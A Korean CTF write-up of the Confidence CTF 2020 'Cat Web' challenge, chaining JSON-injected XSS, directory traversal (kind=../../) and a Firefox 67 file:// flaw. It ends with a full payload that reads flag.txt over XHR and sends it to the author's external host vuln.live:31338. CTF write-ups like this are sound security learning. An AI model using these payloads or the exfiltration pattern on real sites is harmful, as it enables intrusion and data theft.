메인 컨텐츠로 넘어가기

Confidence CTF 2020 / Cat Web Write up

Cat Web

Prob

XSS Vector

일단, 사이트에 접속해보면 아래와 같은 페이지를 볼 수 있다.

page1

<html>
    <head>
        <title>My cats</title>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
    <script>
        function getNewCats(kind) {
            $.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
                if(data.status != 'ok')
                {
                    return;
                }
                $('#cats_container').empty();
                cats = data.content;
                cats.forEach(function(cat) {
                    var newDiv = document.createElement('div');
                    newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
                    $('#cats_container').append(newDiv);
                });
            });

        }
        $(document).ready(function() {
            $('#cat_select').change(function() {
                var kind = $(this).val();
                history.pushState({}, '', '?'+kind)
                getNewCats(kind);
            });
            var kind = window.location.search.substring(1);
            if(kind == "")
            {
                kind = 'black';
            }
            getNewCats(kind);
        });
    </script>
    </head>
    <body>
        <select id="cat_select">
            <option value="black">black</option>
            <option value="grey">grey</option>
            <option value="red">red</option>
            <option value="white">white</option>
        </select>
        <div id="cats_container"></div>
        not like sumthing? send it <a href="/report">hier</a>
    </body>
</html>

소스를 보면, getNewCats() 함수에서 /cats?kind=에 요청을 보내고, JSON을 받아와서 status가 ok라면, img 링크를 넣어준다. - 이 부분에서 일단 XSS가 발생가능성이 있다는 것을 알 수 있다.

아랫 부분을 보면, 주소의 ?를 기준으로 뒤에 적힌 문자열을 getNewCats() 함수의 인자값으로 넘겨준다.

http://catweb.zajebistyc.tf/cats?kind=black

접속해보면 결과는 다음과 같다.

{"status": "ok", "content": ["il_570xN.1285759626_8j8m.jpg", "24.jpg", "2468b5d0-67e8-4d77-9bbb-87a656c8087a-large3x4_Untitledcollage.jpg"]}

만약 없는 kind를 입력하면, 아래와 같이 띄워준다.

http://catweb.zajebistyc.tf/cats?kind=asd

{"status": "error", "content": "asd could not be found"}

여기서 kind의 변수가 content에 바로 들어가기 때문에 XSS 트리거로 사용할 수 있을 것 같다.

http://catweb.zajebistyc.tf/cats?kind=%22asdasd

{"status": "error", "content": ""asdasd could not be found"}

다행히, "에 대해서 별도로 \"로 치환을 거치지 않는다. 즉, XSS 트리거로 사용이 가능하다.

이제 이를 index에 엮으면 XSS는 어렵지 않게 가능하다.

http://catweb.zajebistyc.tf/?", "content":["\"><script>dest='http://vuln.live:31338/';location.href=dest;</script>"], "status": "ok", "hi":"

위 링크에 접속하면 vuln.live:31338로 이동한다.

일단 javascript로 할 수 있는 공격 기법 XSS / CSRF / SSRF 정도를 report기능과 엮어서 생각할 수 있다.

위 링크를 report 보내면, 아래와 같은 response를 받을 수 있다.

packet

서버에서 사용하는 브라우저가 Firefox/67.0 이라는 것을 알 수 있다.

Directory Traversal Vector

위에서 사용했던 URL,

http://catweb.zajebistyc.tf/cats?kind=asd

이 URL에서 제공하는 api에 조금 의심을 하기 시작했다.

kind에 들어가는 값이 혹시 directory이고, 그 안의 내용을 리스팅해서 화면에 띄워주는 역할이라면 Directory Traversal이 가능할 듯 했다.

http://catweb.zajebistyc.tf/cats?kind=../

{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}

아니나 다를까, 쉽게 확인이 가능했다.

http://catweb.zajebistyc.tf/cats?kind=../../

{"status": "ok", "content": ["opt", "etc", "bin", "boot", "media", "run", "proc", "var", "usr", "dev", "root", "lib64", "sbin", "lib", "sys", "home", "tmp", "mnt", "srv", "app", ".dockerenv", "entrypoint.sh", "uwsgi-nginx-entrypoint.sh", "start.sh"]}

http://catweb.zajebistyc.tf/cats?kind=../../app

{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}

서버가 실행되고 있는 절대 경로는 /app 이라는 것을 확인 할 수 있다.

서버에 CloudFlare가 적용되어있어 확실하진 않으나, 높은 확률로 Nginx+Flask(using uwsgi)일 것이다.

실제로 static 폴더에 404를 고의적으로 유발시키면 Page Not Found에서 Nginx 버전을 확인할 수 있다.

http://catweb.zajebistyc.tf/cats?kind=../../app/templates

{"status": "ok", "content": ["report.html", "index.html", "flag.txt"]}

/app/templates/flag.txt가 존재하는 것을 확인했다.

SSRF Vector

서버에서 사용중인 브라우저는 Firefox 67 이라는 것을 확인했다. 그래서 해당 버전에서 SSRF를 유발 시킬 수 있는 방법으로 file:/// 이 제일 의심 스러웠다.

xhr로 file:///을 사용할 방법을 찾다가 아래와 같은 레퍼런스를 발견했다.

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp

CVE

요약하자면, Firefox < 68 에서는 file:///로 html파일을 열었을 경우, 해당 디렉토리와 그 하위 디렉토리에 file:///로 리소스를 요청할수 있다는 내용이었다.

즉, 우리는 /app/templates/index.html이 index파일임을 알고 있고, 해당 페이지에서 XSS가 발생하는 것을 알고있다. 또한, index.html과 flag.txt가 같은 디렉토리에 위치하고 있다. XHR를 이용하면 쉽게 flag.txt를 서버의 브라우저 단에서 긁어올 수 있을것 같다.

Exploit

우리는 /app/templates/index.html가 index임을 알고있고, 해당 페이지에서 XSS가 발생하는 것을 알고있고, SSRF를 위해 file:///app/templates/index.html로 서버 브라우저에서 요청을 보내는 것으로 생각을 확장할 수 있다.

또한, index.html의 XSS취약점과 Firefox 67의 SSRF취약점을 이용하여 index.html에서 flag.txt를 XHR로 긁어온 뒤, location.href로 긁어온 내용을 전송 시키는게 가능하다.

따라서, 최종 공격코드는 아래와 같다. 아래 링크를 report해주면 서버 브라우저가 나에게 flag.txt의 내용을 줄 것이다.

file:///app/templates/index.html?","content":["\"><script>var rawFile=new XMLHttpRequest();var flag;rawFile.open(\"GET\", \"file:///app/templates/flag.txt\", false);rawFile.onreadystatechange=function(){if(rawFile.readyState===4)flag=rawFile.responseText;}\nrawFile.send(null);location.href=\"http://vuln.live:31338/?=\"%2bflag;</script>"],"status":"ok","hi":"

exp

flag: p4{can_i_haz_a_piece_of_flag_pliz?}

컨텐츠 처음으로 돌아가기